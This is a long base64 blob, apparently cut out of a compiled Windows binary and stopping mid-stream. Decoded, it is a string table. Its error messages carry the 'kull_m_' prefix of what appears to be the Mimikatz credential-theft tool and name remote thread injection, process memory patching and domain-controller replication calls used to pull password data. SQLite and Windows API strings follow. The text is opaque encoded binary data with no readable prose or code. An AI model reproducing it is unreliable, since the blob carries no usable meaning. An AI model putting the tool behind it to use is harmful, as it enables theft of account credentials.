XwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQATwBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AEEAdQB0AGgASQBuAGYAbwBFAHgAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABOAG8AIABCAGkAbgBkAGkAbgBnACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAFMAdAByAGkAbgBnAEIAaQBuAGQAaQBuAGcAQwBvAG0AcABvAHMAZQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFAAcgBvAHQAZQBjAHQAZQBkAFMAdABvAHIAYQBnAGUAAAAAAFwAcABpAHAAZQBcAHAAcgBvAHQAZQBjAHQAZQBkAF8AcwB0AG8AcgBhAGcAZQAAAG4AYwBhAGMAbgBfAG4AcAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGIAawByAHAAXwBnAGUAbgBlAHIAaQBjACAAOwAgAEIAYQBjAGsAdQBwAHIASwBlAHkAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAKAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQAIABTAGkAegBlACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABOAG8AIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAATgBPAF8ARQBSAFIATwBSAAAAAABFAFIAUgBPAFIAXwBSAEUAUwBPAEwAVgBJAE4ARwAAAEUAUgBSAE8AUgBfAE4ATwBUAF8ARgBPAFUATgBEAAAARQBSAFIATwBSAF8ATgBPAFQAXwBVAE4ASQBRAFUARQAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8ARABPAE0AQQBJAE4AXwBPAE4ATABZAAAARQBSAFIATwBSAF8ATgBPAF8AUwBZAE4AVABBAEMAVABJAEMAQQBMAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwBoAGUAYwBrAHMAdQBtAHMAIABkAG8AbgAnAHQAIABtAGEAdABjAGgAIAAoAEMAOgAwAHgAJQAwADgAeAAgAC0AIABSADoAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBhAGwAYwB1AGwAYQB0AGUAIABDAFIAQwAzADIACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBDAFIAQQBDAEsAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABuAGEAbQBlAEMAcgBhAGMAawBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAACUAdwBaAAAAJQAwADIAeAAAAAAAJQAwADIAeAAgAAAAMAB4ACUAMAAyAHgALAAgAAAAAABcAHgAJQAwADIAeAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAKAH0AOwAKAAAAAAAlAHMAIAAAACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFUAcwBlAHIAAAAAAEcAcgBvAHUAcAAAAEQAbwBtAGEAaQBuAAAAAABBAGwAaQBhAHMAAABXAGUAbABsAEsAbgBvAHcAbgBHAHIAbwB1AHAAAAAAAEQAZQBsAGUAdABlAGQAQQBjAGMAbwB1AG4AdAAAAAAASQBuAHYAYQBsAGkAZAAAAFUAbgBrAG4AbwB3AG4AAABDAG8AbQBwAHUAdABlAHIAAAAAAEwAYQBiAGUAbAAAAHUAbgBrACEAAAAAAFQAbwBrAGUAbgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AeABtAGwAXwBDAHIAZQBhAHQAZQBBAG4AZABJAG4AaQB0AEQATwBNACAAOwAgAEMAbwBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwB4AG0AbABfAEwAbwBhAGQAWABNAEwARgBpAGwAZQAgADsAIABJAFgATQBMAEQATwBNAEQAbwBjAHUAbQBlAG4AdABfAGwAbwBhAGQAOgAgADAAeAAlADAAOAB4AAoAAAAAADAAAAAxAAAAJUg6JU06JVMAAAAAY3VycmVudF90aW1lAAAAACVZLSVtLSVkAAAAAGN1cnJlbnRfZGF0ZQAAAAAlWS0lbS0lZCAlSDolTTolUwAAAGN1cnJlbnRfdGltZXN0YW1wAAAAZmFpbGVkIHRvIGFsbG9jYXRlICV1IGJ5dGVzIG9mIG1lbW9yeQAAAGZhaWxlZCBtZW1vcnkgcmVzaXplICV1IHRvICV1IGJ5dGVzACUAAABOVUxMAAAAAChOVUxMKQAALgAAADkyMjMzNzIwMzY4NTQ3NzU4MAAAQVBJIGNhbGwgd2l0aCAlcyBkYXRhYmFzZSBjb25uZWN0aW9uIHBvaW50ZXIAAAAAdW5vcGVuZWQAAAAAaW52YWxpZABBcmVGaWxlQXBpc0FOU0kAQ2hhckxvd2VyVwAAQ2hhclVwcGVyVwAAQ2xvc2VIYW5kbGUAQ3JlYXRlRmlsZUEAQ3JlYXRlRmlsZVcAQ3JlYXRlRmlsZU1hcHBpbmdBAABDcmVhdGVGaWxlTWFwcGluZ1cAAENyZWF0ZU11dGV4VwAAAABEZWxldGVGaWxlQQBEZWxldGVGaWxlVwBGaWxlVGltZVRvTG9jYWxGaWxlVGltZQBGaWxlVGltZVRvU3lzdGVtVGltZQAAAABGbHVzaEZpbGVCdWZmZXJzAAAAAEZvcm1hdE1lc3NhZ2VBAABGb3JtYXRNZXNzYWdlVwAARnJlZUxpYnJhcnkAR2V0Q3VycmVudFByb2Nlc3NJZABHZXREaXNrRnJlZVNwYWNlQQAAAEdldERpc2tGcmVlU3BhY2VXAAAAR2V0RmlsZUF0dHJpYnV0ZXNBAABHZXRGaWxlQXR0cmlidXRlc1cAAEdldEZpbGVBdHRyaWJ1dGVzRXhXAAAAAEdldEZpbGVTaXplAEdldEZ1bGxQYXRoTmFtZUEAAAAAR2V0RnVsbFBhdGhOYW1lVwAAAABHZXRMYXN0RXJyb3IAAAAAR2V0UHJvY0FkZHJlc3NBAEdldFN5c3RlbUluZm8AAABHZXRTeXN0ZW1UaW1lAAAAR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAR2V0VGVtcFBhdGhBAAAAAEdldFRlbXBQYXRoVwAAAABHZXRUaWNrQ291bnQAAAAAR2V0VmVyc2lvbkV4QQAAAEdldFZlcnNpb25FeFcAAABIZWFwQWxsb2MAAABIZWFwQ3JlYXRlAABIZWFwRGVzdHJveQBIZWFwRnJlZQAAAABIZWFwUmVBbGxvYwBIZWFwU2l6ZQAAAABIZWFwVmFsaWRhdGUAAAAASGVhcENvbXBhY3QATG9hZExpYnJhcnlBAAAAAExvYWRMaWJyYXJ5VwAAAABMb2NhbEZyZWUAAABMb2NrRmlsZQAAAABMb2NrRmlsZUV4AABNYXBWaWV3T2ZGaWxlAAAATXVsdGlCeXRlVG9XaWRlQ2hhcgBRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgBSZWFkRmlsZQAAAABTZXRFbmRPZkZpbGUAAAAAU2V0RmlsZVBvaW50ZXIAAFNsZWVwAAAAU3lzdGVtVGltZVRvRmlsZVRpbWUAAAAAVW5sb2NrRmlsZQAAVW5sb2NrRmlsZUV4AAAAAFVubWFwVmlld09mRmlsZQBXaWRlQ2hhclRvTXVsdGlCeXRlAFdyaXRlRmlsZQAAAENyZWF0ZUV2ZW50RXhXAABXYWl0Rm9yU2luZ2xlT2JqZWN0AFdhaXRGb3JTaW5nbGVPYmplY3RFeAAAAFNldEZpbGVQb2ludGVyRXgAAAAAR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVFeAAAAABNYXBWaWV3T2ZGaWxlRnJvbUFwcAAAAABDcmVhdGVGaWxlMgBMb2FkUGFja2FnZWRMaWJyYXJ5AEdldFRpY2tDb3VudDY0AABHZXROYXRpdmVTeXN0ZW1JbmZvAE91dHB1dERlYnVnU3RyaW5nQQAAT3V0cHV0RGVidWdTdHJpbmdXAABHZXRQcm9jZXNzSGVhcAAAQ3JlYXRlRmlsZU1hcHBpbmdGcm9tQXBwAAAAAEludGVybG9ja2VkQ29tcGFyZUV4Y2hhbmdlAABVdWlkQ3JlYXRlAABVdWlkQ3JlYXRlU2VxdWVudGlhbAAAAABGbHVzaFZpZXdPZkZpbGUAT3NFcnJvciAweCVseCAoJWx1KQAlcwAAb3Nfd2luLmM6JWQ6ICglbHUpICVzKCVzKSAtICVzAABkZWxheWVkICVkbXMgZm9yIGxvY2svc2hhcmluZyBjb25mbGljdCBhdCBsaW5lICVkAAAAd2luU2Vla0ZpbGUAd2luQ2xvc2UAAAAAd2luUmVhZAB3aW5Xcml0ZTEAAAB3aW5Xcml0ZTIAAAB3aW5UcnVuY2F0ZTEAAAAAd2luVHJ1bmNhdGUyAAAAAHdpblN5bmMxAAAAAHdpblN5bmMyAAAAAHdpbkZpbGVTaXplAHdpblVubG9ja1JlYWRMb2NrAAAAd2luVW5sb2NrAAAAd2luVW5tYXBmaWxlMQAAAHdpblVubWFwZmlsZTIAAAB3aW5NYXBmaWxlMQB3aW5NYXBmaWxlMgBldGlscXNfAHdpbkdldFRlbXBuYW1lMQB3aW5HZXRUZW1wbmFtZTIAd2luR2V0VGVtcG5hbWUzAHdpbkdldFRlbXBuYW1lNAB3aW5HZXRUZW1wbmFtZTUAd2luT3BlbgBwc293AAAAAHdpbkRlbGV0ZQAAAHdpbkFjY2VzcwAAACVzJWMlcwAAd2luRnVsbFBhdGhuYW1lMQAAAAB3aW5GdWxsUGF0aG5hbWUyAAAAAHdpbkZ1bGxQYXRobmFtZTMAAAAAd2luRnVsbFBhdGhuYW1lNAAAAAB3aW4zMgAAAHdpbjMyLWxvbmdwYXRoAAByZWNvdmVyZWQgJWQgcGFnZXMgZnJvbSAlcwAALWpvdXJuYWwAAAAAbm9sb2NrAABpbW11dGFibGUAAABvdXQgb2YgbWVtb3J5AAAAJWxsZAAAAAAlIS4xNWcAAC0AAAAlcyVzAAAAACVzLW1qWFhYWFhYOVhYegBNSiBkZWxldGU6ICVzAAAATUogY29sbGlkZTogJXMAAC1taiUwNlg5JTAyWAAAAABBUEkgY2FsbGVkIHdpdGggZmluYWxpemVkIHByZXBhcmVkIHN0YXRlbWVudAAAAABBUEkgY2FsbGVkIHdpdGggTlVMTCBwcmVwYXJlZCBzdGF0ZW1lbnQAc3RyaW5nIG9yIGJsb2IgdG9vIGJpZwAAdW5hYmxlIHRvIHVzZSBmdW5jdGlvbiAlcyBpbiB0aGUgcmVxdWVzdGVkIGNvbnRleHQAAGJpbmQgb24gYSBidXN5IHByZXBhcmVkIHN0YXRlbWVudDogWyVzXQBOT1QgTlVMTAAAAABVTklRVUUAAENIRUNLAAAARk9SRUlHTiBLRVkAJXMgY29uc3RyYWludCBmYWlsZWQAAAAAJXo6ICVzAABhYm9ydCBhdCAlZCBpbiBbJXNdOiAlcwBjYW5ub3Qgb3BlbiBzYXZlcG9pbnQgLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAbm8gc3VjaCBzYXZlcG9pbnQ6ICVzAAAAY2Fubm90IHJlbGVhc2Ugc2F2ZXBvaW50IC0gU1FMIHN0YXRlbWVudHMgaW4gcHJvZ3Jlc3MAAABjYW5ub3QgY29tbWl0IHRyYW5zYWN0aW9uIC0gU1FMIHN0YXRlbWVudHMgaW4gcHJvZ3Jlc3MAAGNhbm5vdCBzdGFydCBhIHRyYW5zYWN0aW9uIHdpdGhpbiBhIHRyYW5zYWN0aW9uAGNhbm5vdCByb2xsYmFjayAtIG5vIHRyYW5zYWN0aW9uIGlzIGFjdGl2ZQAAY2Fubm90IGNvbW1pdCAtIG5vIHRyYW5zYWN0aW9uIGlzIGFjdGl2ZQAAAABkYXRhYmFzZSBzY2hlbWEgaGFzIGNoYW5nZWQAc3FsaXRlX21hc3RlcgAAAAAAAABTRUxFQ1QgbmFtZSwgcm9vdHBhZ2UsIHNxbCBGUk9NICclcScuJXMgV0hFUkUgJXMgT1JERVIgQlkgcm93aWQAc3RhdGVtZW50IGFib3J0cyBhdCAlZDogWyVzXSAlcwBtaXN1c2Ugb2YgYWxpYXNlZCBhZ2dyZWdhdGUgJXMAAG5vIHN1Y2ggY29sdW1uAABhbWJpZ3VvdXMgY29sdW1uIG5hbWUAAAAlczogJXMuJXMuJXMAAAAAJXM6ICVzLiVzAAAAJXM6ICVzAABwYXJ0aWFsIGluZGV4IFdIRVJFIGNsYXVzZXMAaW5kZXggZXhwcmVzc2lvbnMAAAAlcyBwcm9oaWJpdGVkIGluICVzAHRoZSAiLiIgb3BlcmF0b3IAAAAAZnVuY3Rpb25zAAAAc2Vjb25kIGFyZ3VtZW50IHRvIGxpa2VsaWhvb2QoKSBtdXN0IGJlIGEgY29uc3RhbnQgYmV0d2VlbiAwLjAgYW5kIDEuMAAAbm9uLWRldGVybWluaXN0aWMgZnVuY3Rpb25zAG1pc3VzZSBvZiBhZ2dyZWdhdGUgZnVuY3Rpb24gJS4qcygpAG5vIHN1Y2ggZnVuY3Rpb246ICUuKnMAAHdyb25nIG51bWJlciBvZiBhcmd1bWVudHMgdG8gZnVuY3Rpb24gJS4qcygpAAAAAHN1YnF1ZXJpZXMAAHBhcmFtZXRlcnMAACVyICVzIEJZIHRlcm0gb3V0IG9mIHJhbmdlIC0gc2hvdWxkIGJlIGJldHdlZW4gMSBhbmQgJWQAdG9vIG1hbnkgdGVybXMgaW4gT1JERVIgQlkgY2xhdXNlAAAAT1JERVIAAAAlciBPUkRFUiBCWSB0ZXJtIGRvZXMgbm90IG1hdGNoIGFueSBjb2x1bW4gaW4gdGhlIHJlc3VsdCBzZXQAAAAAdG9vIG1hbnkgdGVybXMgaW4gJXMgQlkgY2xhdXNlAABhIEdST1VQIEJZIGNsYXVzZSBpcyByZXF1aXJlZCBiZWZvcmUgSEFWSU5HAEdST1VQAAAAYWdncmVnYXRlIGZ1bmN0aW9ucyBhcmUgbm90IGFsbG93ZWQgaW4gdGhlIEdST1VQIEJZIGNsYXVzZQAARXhwcmVzc2lvbiB0cmVlIGlzIHRvbyBsYXJnZSAobWF4aW11bSBkZXB0aCAlZCkAdmFyaWFibGUgbnVtYmVyIG11c3QgYmUgYmV0d2VlbiA/MSBhbmQgPyVkAAB0b28gbWFueSBTUUwgdmFyaWFibGVzAAB0b28gbWFueSBjb2x1bW5zIGluICVzAABfUk9XSURfAFJPV0lEAAAAT0lEAG92ZXJzaXplZCBpbnRlZ2VyOiAlcyVzAG1pc3VzZSBvZiBhZ2dyZWdhdGU6ICVzKCkAAAB1bmtub3duIGZ1bmN0aW9uOiAlcygpAAAlcyAlVCBjYW5ub3QgcmVmZXJlbmNlIG9iamVjdHMgaW4gZGF0YWJhc2UgJXMAAABubyBzdWNoIHRhYmxlAAAAY29ycnVwdCBkYXRhYmFzZQAAAAB1bmtub3duIGRhdGFiYXNlICVUAHNxbGl0ZV8Ab2JqZWN0IG5hbWUgcmVzZXJ2ZWQgZm9yIGludGVybmFsIHVzZTogJXMAAAB0YWJsZSAlVCBhbHJlYWR5IGV4aXN0cwB0aGVyZSBpcyBhbHJlYWR5IGFuIGluZGV4IG5hbWVkICVzAAB0b28gbWFueSBjb2x1bW5zIG9uICVzAABkdXBsaWNhdGUgY29sdW1uIG5hbWU6ICVzAAAAZGVmYXVsdCB2YWx1ZSBvZiBjb2x1bW4gWyVzXSBpcyBub3QgY29uc3RhbnQAAAAAdGFibGUgIiVzIiBoYXMgbW9yZSB0aGFuIG9uZSBwcmltYXJ5IGtleQAAAABJTlRFR0VSACwAAAApAAAACiAgACwKICAAAAAACikAAENSRUFURSBUQUJMRSAAAAAgVEVYVAAAACBOVU0AAAAAIElOVAAAAAAgUkVBTAAAAEFVVE9JTkNSRU1FTlQgbm90IGFsbG93ZWQgb24gV0lUSE9VVCBST1dJRCB0YWJsZXMAAABQUklNQVJZIEtFWSBtaXNzaW5nIG9uIHRhYmxlICVzAHRhYmxlAAAAVEFCTEUAAABDUkVBVEUgJXMgJS4qcwAAAAAAAFVQREFURSAlUS4lc